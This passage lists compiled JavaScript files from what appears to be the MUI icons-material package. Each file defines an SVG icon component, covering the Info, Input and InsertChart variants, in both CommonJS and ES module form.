  {
    "path": "packages/mui-icons-material/lib/InfoOutline.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 7h2v2h-2zm0 4h2v6h-2zm1-9C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'InfoOutline');"
  },
  {
    "path": "packages/mui-icons-material/lib/InfoOutlineRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 7h2v2h-2zm1 10c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1s-1 .45-1 1v4c0 .55.45 1 1 1m0-15C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'InfoOutlineRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/InfoOutlineRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 7h2v2h-2zm1 10c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1s-1 .45-1 1v4c0 .55.45 1 1 1m0-15C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'InfoOutlineRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/InfoOutlineSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 17h2v-6h-2zm1-15C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8M11 9h2V7h-2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 7h2v2h-2zm0 4h2v6h-2z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}, \"2\")], 'InfoOutlineSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/InfoOutlineSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 17h2v-6h-2zm1-15C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8M11 9h2V7h-2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 7h2v2h-2zm0 4h2v6h-2z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}, \"2\")], 'InfoOutlineSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/InfoOutlineTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 17h2v-6h-2zm1-15C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8M11 9h2V7h-2z\"\n}), 'InfoOutlineTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/InfoOutlineTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 17h2v-6h-2zm1-15C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8M11 9h2V7h-2z\"\n}), 'InfoOutlineTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/InfoOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 7h2v2h-2zm0 4h2v6h-2zm1-9C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'InfoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/InfoOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 7h2v2h-2zm0 4h2v6h-2zm1-9C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'InfoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/InfoRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 15c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1s1 .45 1 1v4c0 .55-.45 1-1 1m1-8h-2V7h2z\"\n}), 'InfoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/InfoRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 15c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1s1 .45 1 1v4c0 .55-.45 1-1 1m1-8h-2V7h2z\"\n}), 'InfoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/InfoSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m1 15h-2v-6h2zm0-8h-2V7h2z\"\n}), 'InfoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/InfoSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m1 15h-2v-6h2zm0-8h-2V7h2z\"\n}), 'InfoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/InfoTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8m1 13h-2v-6h2zm0-8h-2V7h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 7h2v2h-2zm0 4h2v6h-2zm1-9C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}, \"1\")], 'InfoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/InfoTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8m1 13h-2v-6h2zm0-8h-2V7h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 7h2v2h-2zm0 4h2v6h-2zm1-9C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}, \"1\")], 'InfoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Input.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3.01H3c-1.1 0-2 .9-2 2V9h2V4.99h18v14.03H3V15H1v4.01c0 1.1.9 1.98 2 1.98h18c1.1 0 2-.88 2-1.98v-14c0-1.11-.9-2-2-2M11 16l4-4-4-4v3H1v2h10z\"\n}), 'Input');"
  },
  {
    "path": "packages/mui-icons-material/lib/Input.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3.01H3c-1.1 0-2 .9-2 2V9h2V4.99h18v14.03H3V15H1v4.01c0 1.1.9 1.98 2 1.98h18c1.1 0 2-.88 2-1.98v-14c0-1.11-.9-2-2-2M11 16l4-4-4-4v3H1v2h10z\"\n}), 'Input');"
  },
  {
    "path": "packages/mui-icons-material/lib/InputOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3.01H3c-1.1 0-2 .9-2 2V9h2V4.99h18v14.03H3V15H1v4.01c0 1.1.9 1.98 2 1.98h18c1.1 0 2-.88 2-1.98v-14c0-1.11-.9-2-2-2M11 16l4-4-4-4v3H1v2h10zM21 3.01H3c-1.1 0-2 .9-2 2V9h2V4.99h18v14.03H3V15H1v4.01c0 1.1.9 1.98 2 1.98h18c1.1 0 2-.88 2-1.98v-14c0-1.11-.9-2-2-2M11 16l4-4-4-4v3H1v2h10z\"\n}), 'InputOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/InputOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3.01H3c-1.1 0-2 .9-2 2V9h2V4.99h18v14.03H3V15H1v4.01c0 1.1.9 1.98 2 1.98h18c1.1 0 2-.88 2-1.98v-14c0-1.11-.9-2-2-2M11 16l4-4-4-4v3H1v2h10zM21 3.01H3c-1.1 0-2 .9-2 2V9h2V4.99h18v14.03H3V15H1v4.01c0 1.1.9 1.98 2 1.98h18c1.1 0 2-.88 2-1.98v-14c0-1.11-.9-2-2-2M11 16l4-4-4-4v3H1v2h10z\"\n}), 'InputOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/InputRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3.01H3c-1.1 0-2 .9-2 2V8c0 .55.45 1 1 1s1-.45 1-1V5.99c0-.55.45-1 1-1h16c.55 0 1 .45 1 1v12.03c0 .55-.45 1-1 1H4c-.55 0-1-.45-1-1V16c0-.55-.45-1-1-1s-1 .45-1 1v3.01c0 1.09.89 1.98 1.98 1.98H21c1.1 0 2-.9 2-2V5.01c0-1.1-.9-2-2-2m-9.15 12.14 2.79-2.79c.2-.2.2-.51 0-.71l-2.79-2.79c-.31-.32-.85-.1-.85.35V11H2c-.55 0-1 .45-1 1s.45 1 1 1h9v1.79c0 .45.54.67.85.36\"\n}), 'InputRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/InputRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3.01H3c-1.1 0-2 .9-2 2V8c0 .55.45 1 1 1s1-.45 1-1V5.99c0-.55.45-1 1-1h16c.55 0 1 .45 1 1v12.03c0 .55-.45 1-1 1H4c-.55 0-1-.45-1-1V16c0-.55-.45-1-1-1s-1 .45-1 1v3.01c0 1.09.89 1.98 1.98 1.98H21c1.1 0 2-.9 2-2V5.01c0-1.1-.9-2-2-2m-9.15 12.14 2.79-2.79c.2-.2.2-.51 0-.71l-2.79-2.79c-.31-.32-.85-.1-.85.35V11H2c-.55 0-1 .45-1 1s.45 1 1 1h9v1.79c0 .45.54.67.85.36\"\n}), 'InputRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/InputSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3.01H3c-1.1 0-2 .9-2 2V9h2V4.99h18v14.03H3V15H1v4.01c0 1.1.9 1.98 2 1.98h18c1.1 0 2-.88 2-1.98v-14c0-1.11-.9-2-2-2M11 16l4-4-4-4v3H1v2h10zM23 3.01H1V9h2V4.99h18v14.03H3V15H1v5.99h22zM11 16l4-4-4-4v3H1v2h10z\"\n}), 'InputSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/InputSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3.01H3c-1.1 0-2 .9-2 2V9h2V4.99h18v14.03H3V15H1v4.01c0 1.1.9 1.98 2 1.98h18c1.1 0 2-.88 2-1.98v-14c0-1.11-.9-2-2-2M11 16l4-4-4-4v3H1v2h10zM23 3.01H1V9h2V4.99h18v14.03H3V15H1v5.99h22zM11 16l4-4-4-4v3H1v2h10z\"\n}), 'InputSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/InputTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3.01H3c-1.1 0-2 .9-2 2V9h2V4.99h18v14.03H3V15H1v4.01c0 1.1.9 1.98 2 1.98h18c1.1 0 2-.88 2-1.98v-14c0-1.11-.9-2-2-2M11 16l4-4-4-4v3H1v2h10z\"\n}), 'InputTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/InputTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3.01H3c-1.1 0-2 .9-2 2V9h2V4.99h18v14.03H3V15H1v4.01c0 1.1.9 1.98 2 1.98h18c1.1 0 2-.88 2-1.98v-14c0-1.11-.9-2-2-2M11 16l4-4-4-4v3H1v2h10z\"\n}), 'InputTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertChart.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M9 17H7v-7h2zm4 0h-2V7h2zm4 0h-2v-4h2z\"\n}), 'InsertChart');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertChart.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M9 17H7v-7h2zm4 0h-2V7h2zm4 0h-2v-4h2z\"\n}), 'InsertChart');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertChartOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 17H7v-7h2zm4 0h-2V7h2zm4 0h-2v-4h2zm2.5 2.1h-15V5h15zm0-16.1h-15c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h15c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'InsertChartOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertChartOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 17H7v-7h2zm4 0h-2V7h2zm4 0h-2v-4h2zm2.5 2.1h-15V5h15zm0-16.1h-15c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h15c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'InsertChartOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertChartOutlinedOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 17H7v-7h2zm4 0h-2V7h2zm4 0h-2v-4h2zm2 2H5V5h14zm0-16H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'InsertChartOutlinedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertChartOutlinedOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 17H7v-7h2zm4 0h-2V7h2zm4 0h-2v-4h2zm2 2H5V5h14zm0-16H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'InsertChartOutlinedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertChartOutlinedRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 17c-.55 0-1-.45-1-1v-5c0-.55.45-1 1-1s1 .45 1 1v5c0 .55-.45 1-1 1m4 0c-.55 0-1-.45-1-1V8c0-.55.45-1 1-1s1 .45 1 1v8c0 .55-.45 1-1 1m4 0c-.55 0-1-.45-1-1v-2c0-.55.45-1 1-1s1 .45 1 1v2c0 .55-.45 1-1 1m2 2H6c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1m1-16H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'InsertChartOutlinedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertChartOutlinedRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 17c-.55 0-1-.45-1-1v-5c0-.55.45-1 1-1s1 .45 1 1v5c0 .55-.45 1-1 1m4 0c-.55 0-1-.45-1-1V8c0-.55.45-1 1-1s1 .45 1 1v8c0 .55-.45 1-1 1m4 0c-.55 0-1-.45-1-1v-2c0-.55.45-1 1-1s1 .45 1 1v2c0 .55-.45 1-1 1m2 2H6c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h12c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1m1-16H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'InsertChartOutlinedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertChartOutlinedSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 17H7v-7h2zm4 0h-2V7h2zm4 0h-2v-4h2zm2 2H5V5h14zm2-16H3v18h18z\"\n}), 'InsertChartOutlinedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertChartOutlinedSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 17H7v-7h2zm4 0h-2V7h2zm4 0h-2v-4h2zm2 2H5V5h14zm2-16H3v18h18z\"\n}), 'InsertChartOutlinedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertChartOutlinedTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 17H7v-7h2zm4 0h-2V7h2zm4 0h-2v-4h2zm2 2H5V5h14zm0-16H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'InsertChartOutlinedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertChartOutlinedTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 17H7v-7h2zm4 0h-2V7h2zm4 0h-2v-4h2zm2 2H5V5h14zm0-16H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'InsertChartOutlinedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/InsertChartRounded.js",
